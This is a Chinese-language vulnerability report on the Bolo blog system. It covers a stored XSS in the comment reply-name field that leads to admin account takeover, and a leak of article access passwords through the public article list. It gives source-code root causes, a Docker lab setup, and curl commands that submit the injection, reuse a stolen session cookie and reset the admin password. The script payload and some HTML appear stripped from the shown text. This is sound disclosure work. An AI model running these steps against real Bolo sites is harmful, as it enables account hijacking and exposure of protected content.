# Bolo 漏洞报告 软件名称:Bolo 开发者或厂商:bolo-blog 代码仓库:https://github.com/bolo-blog/bolo-solo ## 1. 评论回复人名称存储型 XSS 导致账号接管 简要描述:未登录的访客可以在评论中注入脚本,脚本在文章页执行并接管访问者的账号。 影响版本:1.7 ~ 2.6.4 漏洞引入:[bolo-solo commit d9078c95](https://github.com/bolo-blog/bolo-solo/commit/d9078c9578bb0e7db8e9bfe2cef73c81b9560232) 前置条件:无。 ### 漏洞成因 Bolo 的评论接口 `/article/comments` 允许游客提交评论。请求体中除了评论正文和昵称,还可以携带 `commentOriginalCommentId` 与 `commentOriginalCommentName`,分别表示被回复评论的 id 和被回复人的昵称。 `CommentMgmtService.addArticleComment` 先把请求中的 `commentOriginalCommentName` 写进评论对象: ```java // src/main/java/org/b3log/solo/service/CommentMgmtService.java:299-306 commit 0df599ea99 comment.put(Comment.COMMENT_ORIGINAL_COMMENT_ID, ""); comment.put(Comment.COMMENT_ORIGINAL_COMMENT_NAME, ""); comment.put(Comment.COMMENT_NAME, commentName); comment.put(Comment.COMMENT_URL, commentURL); comment.put(Comment.COMMENT_CONTENT, commentContent); comment.put(Comment.COMMENT_ORIGINAL_COMMENT_ID, requestJSONObject.optString(Comment.COMMENT_ORIGINAL_COMMENT_ID)); comment.put(Comment.COMMENT_ORIGINAL_COMMENT_NAME, requestJSONObject.optString(Comment.COMMENT_ORIGINAL_COMMENT_NAME)); ``` 之后代码才按 id 查询被回复的评论: ```java // src/main/java/org/b3log/solo/service/CommentMgmtService.java:325-336 commit 0df599ea99 if (StringUtils.isNotBlank(originalCommentId)) { originalComment = commentRepository.get(originalCommentId); if (null != originalComment) { comment.put(Comment.COMMENT_ORIGINAL_COMMENT_ID, originalCommentId); final String originalCommentName = originalComment.getString(Comment.COMMENT_NAME); comment.put(Comment.COMMENT_ORIGINAL_COMMENT_NAME, originalCommentName); ret.put(Comment.COMMENT_ORIGINAL_COMMENT_NAME, originalCommentName); ret.put(Common.IS_REPLY, true); } else { LOGGER.log(Level.WARN, "Not found orginal comment[id={0}] of reply[name={1}, content={2}]", originalCommentId, commentName, commentContent); } } ``` id 查不到时只记录一条警告,先前写入的 `commentOriginalCommentName` 仍然保留。 读取评论时,`CommentQueryService.getComments` 只判断 `commentOriginalCommentId` 是否为空,不检查对应评论是否存在: ```java // src/main/java/org/b3log/solo/service/CommentQueryService.java:239-245 commit 0df599ea99 comment.put(Common.IS_REPLY, false); if (StringUtils.isNotBlank(comment.optString(Comment.COMMENT_ORIGINAL_COMMENT_ID))) { comment.put(Common.IS_REPLY, true); } ``` 于是填入一个不存在的 id 并附上昵称,这条评论会被当作回复渲染。皮肤 bolo-nexmoe 的模板把回复人名称拼接进 HTML: ```html <#if comment.isReply> @ ${comment.commentOriginalCommentName} ``` 评论正文经过 `Markdowns.clean` 清洗,昵称经过 `AntiXSS` 处理,回复人名称没有对应的过滤。该字段在数据库中的长度为 50(`src/main/resources/repository.json:173-176`),足以容纳一段短脚本。 会话 cookie 没有 HttpOnly 属性,脚本通过 `document.cookie` 就能读出它。 ### 复现环境搭建 环境用官方 compose 部署,操作如下: ```bash mkdir bolo && cd bolo wget https://raw.githubusercontent.com/bolo-blog/bolo-solo/v2.6.4_stable/docker-compose.yaml mkdir scripts wget -P scripts https://raw.githubusercontent.com/bolo-blog/bolo-solo/v2.6.4_stable/scripts/1-create-database.sql docker compose -p bolo-vuln up -d ``` 环境启动后访问 `http://localhost:8080/start`,把管理员账号设为 `admin`、密码设为 `Admin@12345`,完成初始化。 若容器反复重启且日志提示 `unable to allocate file descriptor table`,在 compose 文件的 bolo 服务下增加 `ulimits.nofile` 配置后重新启动。 ### 复现过程 首页文章的地址为 `/hello-bolo`,页面源码中带有文章的 id: ```bash curl -s http://localhost:8080/hello-bolo | grep -o '"oId": "[0-9]*"' ``` 输出为: ``` "oId": "1794665724180" ``` 向评论接口提交评论,`commentOriginalCommentId` 填一个不存在的值,`commentOriginalCommentName` 填一段脚本: ```bash curl -s -o /dev/null -w '%{http_code}\n' -X POST http://localhost:8080/article/comments \ -H 'Content-Type: application/json' \ -d '{"oId":"1794665724180","boloSite":"http://localhost:8080/","boloUser":"attacker","email":"","URI":"http://localhost:8080/","commentContent":"Nice post","commentOriginalCommentId":"1","commentOriginalCommentName":""}' ``` 以管理员身份登录后打开该文章(在 `http://localhost:8080/start` 用 `admin`/`Admin@12345` 登录),脚本把 `document.cookie` 的内容写进了评论区,证实 XSS: ![](img/01-stored-xss-cookie.png) 页面中显示的 cookie 为: ``` solo=b956e66b9b17818b75b680b33bfb1c4967d1cb7471e25c0805061f570148389a0ab3e511c66d47700c39c5dadc211972038c3f57c19d307c2ee7691a175765e53bf4d8faacc0cd726d7659971e38a912 ``` 携带该 cookie 请求后台用户列表: ```bash curl -s -H 'Cookie: solo=b956e66b9b17818b75b680b33bfb1c4967d1cb7471e25c0805061f570148389a0ab3e511c66d47700c39c5dadc211972038c3f57c19d307c2ee7691a175765e53bf4d8faacc0cd726d7659971e38a912' http://localhost:8080/console/users/1/100/100 ``` 输出为: ``` {"sc":true,"pagination":{"paginationPageCount":1,"paginationPageNums":[1]},"users":[{"userB3Key":"c1c761ba28cba88ff92d4365f8e230c1","userAvatar":"https://pic.stackoverflow.wiki/uploadImages/117/136/73/84/2020/08/03/19/59/2c12286b-91a0-478e-ba47-edaa21f19476.png","userGitHubId":"000000","oId":"1794665722507","userName":"admin","userRole":"adminRole","userURL":"http://localhost:8080"},{"userB3Key":"0a45c98b7f065e77accc819d08882200","userAvatar":"https://pic.stackoverflow.wiki/uploadImages/114/246/231/87/2020/06/06/02/26/65e10ea4-41e0-4da8-82fa-a00da2770ce2.png","userGitHubId":"000000","oId":"1794665745547","userName":"attacker","userRole":"visitorRole","userURL":"http://localhost:8080/"}]} ``` 用该会话重置管理员密码,`userB3Key` 字段填入新密码: ```bash curl -s -X PUT http://localhost:8080/console/user/ \ -H 'Cookie: solo=b956e66b9b17818b75b680b33bfb1c4967d1cb7471e25c0805061f570148389a0ab3e511c66d47700c39c5dadc211972038c3f57c19d307c2ee7691a175765e53bf4d8faacc0cd726d7659971e38a912' \ -H 'Content-Type: application/json' \ -d '{"oId":"1794665722507","userName":"admin","userRole":"adminRole","userURL":"http://localhost:8080","userAvatar":"https://pic.stackoverflow.wiki/uploadImages/117/136/73/84/2020/08/03/19/59/2c12286b-91a0-478e-ba47-edaa21f19476.png","userB3Key":"Pwned@2026"}' ``` 输出为: ``` {"sc":true,"msg":"更新成功"} ``` 在浏览器中用新密码登录后台: ![](img/02-admin-console-takeover.png) ## 2. 文章访问密码明文泄露 简要描述:文章列表接口返回访问密码,未登录者据此可以阅读受保护的文章。 影响版本:1.7 ~ 2.6.4 漏洞引入:[bolo-solo commit d9078c95](https://github.com/bolo-blog/bolo-solo/commit/d9078c9578bb0e7db8e9bfe2cef73c81b9560232) 前置条件:目标博客中存在设置了访问密码的文章。 ### 漏洞成因 `/articles` 的文章列表由 `ArticleProcessor.getArticlesByPage` 处理,它构造的请求只包含分页参数、文章状态与更新提示: ```java // src/main/java/org/b3log/solo/processor/ArticleProcessor.java:455-460 commit 0df599ea99 final JSONObject requestJSONObject = Solos.buildPaginationRequest(pathBuilder.toString()); requestJSONObject.put(Article.ARTICLE_STATUS, Article.ARTICLE_STATUS_C_PUBLISHED); requestJSONObject.put(Option.ID_C_ENABLE_ARTICLE_UPDATE_HINT, preference.optBoolean(Option.ID_C_ENABLE_ARTICLE_UPDATE_HINT)); final JSONObject result = articleQueryService.getArticles(requestJSONObject); ``` `ArticleQueryService.getArticles` 返回数据库中的文章记录,只移除调用方通过 `excludes` 指定的字段,而上述请求没有指定: ```java // src/main/java/org/b3log/solo/service/ArticleQueryService.java:637-638 commit 0df599ea99 JSONArray excludes = requestJSONObject.optJSONArray(Keys.EXCLUDES); excludes = null == excludes ? new JSONArray() : excludes; ``` 列表渲染前,`DataModelService.setArticleExProperties` 判断访问者是否需要密码,需要时把 `articleContent` 换成提示文字: ```java // src/main/java/org/b3log/solo/service/DataModelService.java:1259-1262 commit 0df599ea99 if (Solos.needViewPwd(context, article)) { final String content = langPropsService.get("articleContentPwd"); article.put(ARTICLE_CONTENT, content); } ``` `articleViewPwd` 仍然留在文章对象中,随列表响应返回。 ### 复现环境搭建 环境用官方 compose 部署,重建容器后完成初始化: ```bash docker compose -p bolo-vuln down -v docker compose -p bolo-vuln up -d ``` 环境启动后访问 `http://localhost:8080/start`,用 `admin`/`Admin@12345` 完成初始化。 ### 复现过程 管理员登录后台,新建一篇带访问密码的文章,`articleStatus` 为 0 表示已发布,`articleViewPwd` 为 `S3cret`: ```bash curl -s -c /tmp/bolo-cookies -o /dev/null -X POST http://localhost:8080/oauth/bolo/login \ --data-urlencode username=admin --data-urlencode password='Admin@12345' curl -s -b /tmp/bolo-cookies -X POST http://localhost:8080/console/article/ \ -H 'Content-Type: application/json' \ -d '{"article":{"articleTitle":"Investor update","articleContent":"REVENUE-FORECAST-2027","articleAbstract":"Restricted","articleAbstractText":"Restricted","articleTags":"internal","articleStatus":0,"articleCommentable":true,"articleViewPwd":"S3cret","articleSignId":"1"}}' ``` 输出为: ``` {"msg":"添加成功","sc":true,"oId":"1794665921361"} ``` 未登录请求文章列表: ```bash curl -s http://localhost:8080/articles | python3 -m json.tool ``` 输出为: ```json { "sc": true, "rslts": { "pagination": { "paginationPageCount": 1, "paginationPageNums": [ 1 ] }, "articles": [ { "articleCreated": 1794665921469, "articleCreateTime": 1794665921469, "articleRandomDouble": 0.8435085017955908, "articleAuthorId": "1794665911359", "articleAbstract": "

Restricted

", "articleViewPwd": "S3cret", "articleCreateDate": "Sat Nov 14 22:18:41 CST 2026", "articleAbstractText": "Restricted", "articleViewCount": 1, "articleCommentable": true, "articleContent": "

\u8be5\u6587\u7ae0\u5df2\u7ecf\u52a0\u5bc6\u3002

", "articleUpdateDate": "Sat Nov 14 22:18:41 CST 2026", "articleCommentCount": 0, "articleImg1URL": "http://localhost:8080/image/20261114221842343.jpg?imageView2/1/w/1280/h/720/interlace/1/q/100", "authorThumbnailURL": "https://pic.stackoverflow.wiki/uploadImages/117/136/73/84/2020/08/03/19/59/2c12286b-91a0-478e-ba47-edaa21f19476.png", "articleTitle": "Investor update", "articleSignId": "1", "articleTags": "internal", "oId": "1794665921361", "articlePutTop": false, "hasUpdated": false, "authorId": "1794665911359", "articleUpdated": 1794665921469, "authorName": "admin", "articleStatus": 0, "articleUpdateTime": 1794665921469, "articleCategory": "", "articlePermalink": "/articles/2026/11/14/1794665921361.html" }, { "articleCreated": 1794665912861, "articleCreateTime": 1794665912861, "articleRandomDouble": 0.8732745907137656, "articleAuthorId": "1794665911359", "articleAbstract": "

\"\"

\n

Bolo \u535a\u5ba2\u7cfb\u7edf\u5df2\u7ecf\u521d\u59cb\u5316\u5b8c\u6bd5\uff0c\u53ef\u5728\u7ba1\u7406\u540e\u53f0 - \u5de5\u5177 - \u504f\u597d\u8bbe\u5b9a\u4e2d\u8c03\u6574\u66f4\u591a\u7ec6\u8282\u8bbe\u7f6e\u3002\u5982\u679c\u9700\u8981\u5bfc\u5165\u5df2\u6709\u535a\u5ba2\u6587\u7ae0\uff0c\u8bf7\u53c2\u8003\u6587\u6863 Hexo/Jekyll/Markdown \u6587\u4ef6\u5bfc\u5165\u3002

\n

Bolo \u662f\u57fa\u4e8e Solo \u7684\u4fee\u6539\u7248\uff0c\u4e3b\u6253\u529f\u80fd:

\n
    \n
  1. \n

    \u79bb\u7ebf

    \n
  2. \n
  3. \n

    \u5206\u7c7b\u4f18\u5316

    \n
  4. \n
  5. \n

    \u6e38\u5ba2\u5316\u8bc4\u8bba

    \n
  6. \n
  7. \n

    \u540c\u6b65\u4e0e\u4e3b\u5206\u652f\u66f4\u65b0

    \n
  8. \n
\n

\u6b22\u8fce\u4f60\u7684\u4f53\u9a8c\uff01

\n

\u8bf7\u5728\u8bbe\u7f6e-\u504f\u597d\u8bbe\u5b9a\u4e2d\u8bbe\u7f6e\u9ed1\u5ba2\u6d3e\u7528\u6237\u540d\u548c B3log Key \u4ee5\u83b7\u5f97\u5b8c\u6574\u4f53\u9a8c\u3002

\n

\u6700\u540e\uff0c\u5982\u679c\u4f60\u89c9\u5f97 Bolo \u5f88\u8d5e\uff0c\u8bf7\u5230\u9879\u76ee\u4e3b\u9875\u7ed9\u9897\u661f\u9f13\u52b1\u4e00\u4e0b\u2764\ufe0f

", "articleViewPwd": "", "articleCreateDate": "Sat Nov 14 22:18:32 CST 2026", "articleAbstractText": "Bolo \u535a\u5ba2\u7cfb\u7edf\u5df2\u7ecf\u521d\u59cb\u5316\u5b8c\u6bd5\uff0c\u53ef\u5728\u7ba1\u7406\u540e\u53f0 - \u5de5\u5177 - \u504f\u597d\u8bbe\u5b9a\u4e2d\u8c03\u6574\u66f4\u591a\u7ec6\u8282\u8bbe\u7f6e\u3002\u5982\u679c\u9700\u8981\u5bfc\u5165\u5df2\u6709\u535a\u5ba2\u6587\u7ae0\uff0c\u8bf7\u53c2\u8003\u6587\u6863 Hexo/Jekyll/Markdown \u6587\u4ef6\u5bfc\u5165\u3002 Bolo \u662f\u57fa\u4e8e Solo \u7684\u4fee\u6539\u7248\uff0c\u4e3b\u6253\u529f\u80fd: \u79bb\u7ebf \u5206\u7c7b\u4f18\u5316 \u6e38\u5ba2\u5316\u8bc4\u8bba \u540c\u6b65\u4e0e\u4e3b\u5206\u652f\u66f4\u65b0 \u6b22\u8fce\u4f60\u7684\u4f53\u9a8c\uff01 \u8bf7\u5728\u8bbe\u7f6e-\u504f\u597d\u8bbe\u5b9a\u4e2d\u8bbe\u7f6e\u9ed1\u5ba2\u6d3e\u7528\u6237\u540d\u548c B3log Key \u4ee5\u83b7\u5f97\u5b8c\u6574\u4f53\u9a8c\u3002 \u6700\u540e\uff0c\u5982\u679c\u4f60\u89c9\u5f97 Bolo \u5f88\u8d5e\uff0c\u8bf7\u5230\u9879\u76ee\u4e3b\u9875\u7ed9\u9897\u661f\u9f13\u52b1\u4e00\u4e0b\u2764\ufe0f", "articleViewCount": 0, "articleCommentable": true, "articleContent": "

\"\"

\n

Bolo \u535a\u5ba2\u7cfb\u7edf\u5df2\u7ecf\u521d\u59cb\u5316\u5b8c\u6bd5\uff0c\u53ef\u5728\u7ba1\u7406\u540e\u53f0 - \u5de5\u5177 - \u504f\u597d\u8bbe\u5b9a\u4e2d\u8c03\u6574\u66f4\u591a\u7ec6\u8282\u8bbe\u7f6e\u3002\u5982\u679c\u9700\u8981\u5bfc\u5165\u5df2\u6709\u535a\u5ba2\u6587\u7ae0\uff0c\u8bf7\u53c2\u8003\u6587\u6863 Hexo/Jekyll/Markdown \u6587\u4ef6\u5bfc\u5165\u3002

\n

Bolo \u662f\u57fa\u4e8e Solo \u7684\u4fee\u6539\u7248\uff0c\u4e3b\u6253\u529f\u80fd:

\n
    \n
  1. \n

    \u79bb\u7ebf

    \n
  2. \n
  3. \n

    \u5206\u7c7b\u4f18\u5316

    \n
  4. \n
  5. \n

    \u6e38\u5ba2\u5316\u8bc4\u8bba

    \n
  6. \n
  7. \n

    \u540c\u6b65\u4e0e\u4e3b\u5206\u652f\u66f4\u65b0

    \n
  8. \n
\n

\u6b22\u8fce\u4f60\u7684\u4f53\u9a8c\uff01

\n

\u8bf7\u5728\u8bbe\u7f6e-\u504f\u597d\u8bbe\u5b9a\u4e2d\u8bbe\u7f6e\u9ed1\u5ba2\u6d3e\u7528\u6237\u540d\u548c B3log Key \u4ee5\u83b7\u5f97\u5b8c\u6574\u4f53\u9a8c\u3002

\n

\u6700\u540e\uff0c\u5982\u679c\u4f60\u89c9\u5f97 Bolo \u5f88\u8d5e\uff0c\u8bf7\u5230\u9879\u76ee\u4e3b\u9875\u7ed9\u9897\u661f\u9f13\u52b1\u4e00\u4e0b\u2764\ufe0f

", "articleUpdateDate": "Sat Nov 14 22:18:32 CST 2026", "articleCommentCount": 1, "articleImg1URL": "http://localhost:8080/image/20261114221832466.jpg?imageView2/1/w/1280/h/720/interlace/1/q/100", "authorThumbnailURL": "https://pic.stackoverflow.wiki/uploadImages/117/136/73/84/2020/08/03/19/59/2c12286b-91a0-478e-ba47-edaa21f19476.png", "articleTitle": "\u83e0\u841d Bolo \u535a\u5ba2\u7cfb\u7edf\u5df2\u90e8\u7f72\u6210\u529f\u3002", "articleSignId": "1", "articleTags": "Bolo", "oId": "1794665912890", "articlePutTop": false, "hasUpdated": false, "authorId": "1794665911359", "articleUpdated": 1794665912861, "authorName": "admin", "articleStatus": 0, "articleUpdateTime": 1794665912861, "articleCategory": "", "articlePermalink": "/hello-bolo" } ] } } ``` 响应中该文章的 `articleViewPwd` 为 `S3cret`,`articleContent` 则被替换为提示文字“该文章已经加密”。 浏览器打开该文章的地址,页面要求输入访问密码: ![](img/03-article-password-form.png) 填入 `S3cret` 后文章正文显示出来: ![](img/04-article-content-unlocked.png)